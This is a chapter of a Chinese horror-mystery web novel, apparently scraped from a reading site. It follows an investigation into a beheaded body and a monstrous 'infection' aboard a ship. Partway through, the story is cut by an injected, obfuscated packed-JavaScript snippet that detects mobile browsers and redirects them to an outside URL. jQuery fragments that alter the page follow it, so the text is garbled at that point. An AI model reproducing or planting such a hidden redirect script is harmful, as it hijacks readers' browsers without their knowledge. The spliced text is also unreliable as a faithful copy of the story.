“……第一刀就要了他的命。”


    沈祈安走向木箱，看着那头颅的后脑，还有颈部的断口，过了一会儿，才说道。


    “凶手是从后面袭击的。伤口是自下而上的倾斜面，刀法果断利落，导致他连呼救的机会都没有，还没倒地就断了气。第二刀顺着伤口切割，直到割下头颅。”


    所有人围聚在木桶附近，全神贯注地听着。周围很安静，只能听见海浪声、呼吸声，还有自己沉重的心跳声。尽管房间还算暖和，但当他们看着正中央那具形貌诡异的尸体时，还是不由得感到脊背发寒。


    沈祈安继续说：“每一天，船上的人都会相互检查伤口，每三人为一组，询问关于对方生活习惯上的问题，如果对方有什么反常之处，他们不可能发现不了。能做到让人毫无防备，且一刀致人死地的，除了我们的人，就只有失踪的那个周卫了。”


    闻讯跟着沈将军赶到的官员道：“他为何要……先不论他为何要这么做，重要的是，他怎么可能会绕过这么多双眼睛，把人挪到这里来的？”


    侍卫一把攥起管事的衣领，生生把人从地上拖起来，“说！到底是怎么回事？船上还有谁在帮他？”


    管事的看了眼横在脖子上的刀，那刀锋刮着皮肉，吓得他直往后缩，但又被衣领死死卡着，慌忙道：“大大人们饶命，不是我不说，是我真的不知情，因为我才来这里不到半个时辰……”


    他被勒得有点喘不过气，“我白日里不知怎么吃坏了肚子，这一整个晚上都躺在床上，直到半个时辰前才好转点，就赶紧来这里看看情况。大人你看，我刚刚就这么无意识一瞧，发现那些木桶的位置不太对，稳妥起见，我便仔细检查了一下，才发现那里面竟然还坐着个人……咳咳……”


    刀割破了点皮，渗出些血珠，他不敢再大喘气，就这么嘶哑道：“如果不是我，这尸体恐怕直到第二日都发现不了……大人明鉴，这地方是我来负责，遭难的首当其冲就是我这个管事儿的，怎么可能藏完尸又主动装不知情来禀告大人？我怎么可能参与这种事……”


    侍卫们相互看了眼，把他摔在了地上，又扫了眼那一排排跪在地上的侍从。他们全都低着头，肩膀畏惧地缩着，影子在烛灯下交叠着打在墙上，随着烛苗轻轻颤动，像是夜里斑驳的树影。大家对这种场景并不陌生。


    四日前，他们也曾见到过这些表情，它们出现在不同的脸上——焦虑、茫然、惊惶。后来，他们把那称之为“清洗”。


    所有人都聚在一起，逐一检查伤口，出现“感染”症状的人会被隔离。最开始，他们认为这只是一种莫名的疫病，来自于岛上的荒废已久的渔村。但事实上，那远远比疫病更令人骇然。


    被隔离的人最终都离奇死亡了，他们自己杀了自己。那个用于隔离的房间就在舱下的最角落，炸开似的鲜血现在应该已经沿着墙壁渗进了船体的缝隙当中。他们已经很久没去了。尽管前几天他们刚发现一个有“感染”迹象的人，但他们并没有带他去“隔离”。


    反正他们已经无药可救了，不是吗？与其在房间中把自己的脑袋一下一下往墙上撞，不仅让自己痛苦，也让整艘船的人不安，还不如直接——


    所以，“感染”就意味着死亡。


    而此时此刻，他们这群人当中，正有人试图利用那些可怕的“感染”搞些鬼把戏。现在这里就如同一座危机四伏的军营，船上每个人都像是连吃五场败仗的新兵，没有经验，不明情况，担惊受怕，一丁点风吹草动都有可能让他们全军覆没。


    房间里一片安静。


    所有人都在紧张的沉默中等待着，等着“感染者”突然站起来，像个疯子一样袭击他们。等着有人能指认出最近行为反常的同僚，帮助所有人阻止某种更可怕的危险降临。但最后什么也没发生，大家只是提心吊胆地看着对方。


    最后，沈祈安抽出佩刀，看向屋子里所有人，“一个时辰之前，在这里的人都有谁？”


    .


    “无论是在伙房做事的人，还是守在走廊上的人……他们都没有‘感染’。但他们都曾短暂地离开过原本的位置。”


    舱下的走廊里，沈祈安走在国师身后。他目光转向倒在两侧的尸骸，眉头微微收拢，刚打算继续说下去，前面破裂的舱口处就涌进一阵凉风。几盏壁灯骤然熄灭，阴影随之蔓延向走廊深处。沉闷又潮湿的脚步声里，那些怪物的叫声显得越发清晰。官员们惊魂未定地扫向四周，紧接着，队伍后面传来了呕吐声。


    萧明灿仍继续走着，说：“因为船上出现了落水声？”


    沈祈安点点头，沉声道：“那时已是深夜，周围又起了些雾，我们的第一反应是有……所谓的‘感染者’在靠近这里。而当时因为先前登岛那日的袭击，和‘感染’的缘故，我们的人已经有了超乎预料的折损。所以，我们理所应当地认为，比起无法从窄窗钻进的舱下，它们更有可能爬上四周空旷的甲板。”


    “……于是将军当时把人都叫到了甲板上去排查危险，包括守在舱下的那几个人。”言生看了眼那些挨个房间搜刮东西的随从，压低了声音：“但是，呆在伙房的人为何也会离开那里？”


    沈祈安看向一侧敞着门的房间，黑暗就像河底的淤泥一样堆附在四周墙角，最后一个企图逃跑之人的尸体倒在距离房门三步远的地方，从脖子断口喷出的鲜血让他想到了倾倒的酒坛。


    他停下脚步，沉默须臾后，对萧明灿说：“……国师相信巧合吗？”


    .


    “——这么巧？”


    两个时辰前的伙房里，侍卫接过烛灯，看了眼那地上的无头尸，怀疑道：“大晚上的，早不送晚不送，偏偏赶在甲板上出事前去送饭？”


    侍从哆哆嗦嗦道：“是……是真的，大人，小人也觉得纳闷。就像大人说的，当时正是大半夜，按理说，大家应该都睡了，就算有饿得睡不着的，也都是吩咐下人来随便拿些干粮填填肚子。但没想到冯大人派人一过来就点了……”


    他刚把手往腰间一伸，那刀就横了过来。侍从不敢再动，另一个侍卫摸了摸他腰侧，拿出来张褶皱的纸条，交给沈祈安。上面大概记着几道菜名，沈祈安草草扫了一眼，发现都是些需要时间的热菜。


    “……清蒸蟹？”沈祈安道。


    副手来回走了几步，焦躁地按着脑袋，“都什么时候了，这群没用的饭——还有闲心胡吃海塞，难不成他们在被饿死鬼——”


    他把手放下来，转头看向沈祈安。


    “只有两种可能。”沈祈安说：“要么他们已经和檀妄生相互勾结，要么就是已经被‘感染’了，而船上有人在故意引他们去点那些需要多人去送的热菜。”


    侍卫道：“就像三天前……那个在房间里生生啃掉自己右手的人。”


    一个负责船舵的官员道：“这么说来，船上现在已经混进了那些……”


    副手看了眼四周，十几个侍卫守在房间里，走廊上还有几人在逐个房间排查可疑之人，官员们则商议着应对办法，时不时忧虑地望向屋顶。伙房烛火飘动，铜质的灯台在微光下闪着钝闷的光泽。很快，整个房间陷入坟墓般的沉寂。


    当初侍卫们得知在伙房发现了具无头男尸的消息时，都不约而同地以为舱下又出现了‘感染者’，又或是有什么人在搞鬼。毕竟那个时候周卫才刚失踪不久，而无论是舱下走廊还是伙房，始终都有人在看守。他们先入为主地认为舱下危机重重，但如今来看，也许舱上反而是最棘手的地方。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313820|157334||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    眼下国师生死未卜，如果朝中派人在这个时候和檀妄生联手做些什么，那么他们这群人该如何应对？


    眼下他们是否已经晚了他们一步——或者说，是不是已经中了那些人的圈套？


    如果船上有人“感染”了，为什么他们直到现在都没有发现？


    是因为有人在刻意隐瞒吗？


    但“感染”一事关乎到船上所有人的性命，就算有朝中派来的人在搞鬼，他们也不可能有能力操控这些怪物，不然这个江山早就易主了。更何况还有其他不相干的侍从与他们接触，总会察觉到什么反常之处——既然如此，为什么还要冒险隐瞒？


    沈祈安看着尸体下的血泊。


    ……会不会有一种可能，之所以无人提及“感染”一事，是因为周围的人都出现了那种能看到离奇怪像的症状？


    他们对彼此的情况心照不宣，但始终不敢去挑明——


    船上还有多少正常人？


    副手对官员们说：“我们刚刚下来时已经告诉各位大人了，让大家暂且先回到房间，锁上门窗，除了我们告知之外，无论发什么都不要主动开门。甲板上也有我们的人看守，那些怪物行动迟缓，就算它们想要上船，也逃——”


    其中一个官员问：“如果不是怪物呢？”


    副手话音一顿。


    “如果是人呢？”


    留着胡子的老官员指着那无头尸，“能做出这种事的是人，能专门支走他们去送饭的也是人。冯明之我了解，平日是爱吃爱喝了点，但也不是饭桶，更不是不懂情势的小儿，做不出这种能掉脑袋的蠢笨之事。若是真染上了那怪病，还能巧合到专挑伙房人少的时候把人叫去送饭？必然是有人在旁故意引诱为之！如今船上人鬼混杂，恶人利用蠢鬼行坏事，真真假假，当务之急是我们该怎么分辨？”


    房间再次陷入沉默。


    走廊上的侍卫和跟着办事的小太监步履匆忙。官员们互相看着对方，跪在地上的人肩膀颤抖。某种无言的恐惧笼罩着这里，就像一块巨大的幕布。房间里有人低声说了句“赶紧上去看看”，但没有任何人动弹。他们就像是被这种恐惧定住了腿脚，又或许，某种直觉正在他们的脑袋里疯狂尖叫，告诉他们上面就是地狱——


    沈祈安忽然转过身，推开前面的侍卫，大步走向房门，“那些去小陆房间的人怎么还没回来？他那屋子不是就在舱口木梯边吗？”


    其中一个侍卫看向正躺在木箱冰块上的“小陆”，那下面的血水正缓缓渗进冰块的缝隙里。他眼皮轻轻一跳。


    突然，走廊另一侧传来一声低呼，沈祈安拉开房门，“怎么回——”


    砰。


    屋顶突然传来一声闷响。那是有人倒地的声音。


    砰！


    随从一脚踢开木桶，随手捡起旁边的匕首。走廊漆黑，那提灯随着他的动作明明灭灭，照着几人的侧脸，冷不丁一看，像是夜里送丧队伍里的假人。


    沈祈安看了眼那人腰后的三眼铳，说：“直到那个时候，我们才意识到，我们中计了。”


    走在最前面的檀妄生正轻哼着歌，手里上下抛着刚从房中带出来的白瓷小猫。


    沈祈安说：“从管事吃坏肚子，到后来出现接连的落水声，有人趁机将尸体拖走……这是一个彻头彻尾的圈套，目的就是为了让我们误以为舱下出了棘手的麻烦，从而调走大批人手，好让那群怪物趁机登上甲板，再围杀我们，占领整艘船。”


    “‘误以为’？”言生看向萧明灿。


    “没错。”沈祈安看着檀妄生的背影，刀锋微微上抬，“为了这个圈套，他们从我们登岛那日就开始铺垫了。”


    萧明灿稍稍侧头，看了眼他沾满血迹的袖管。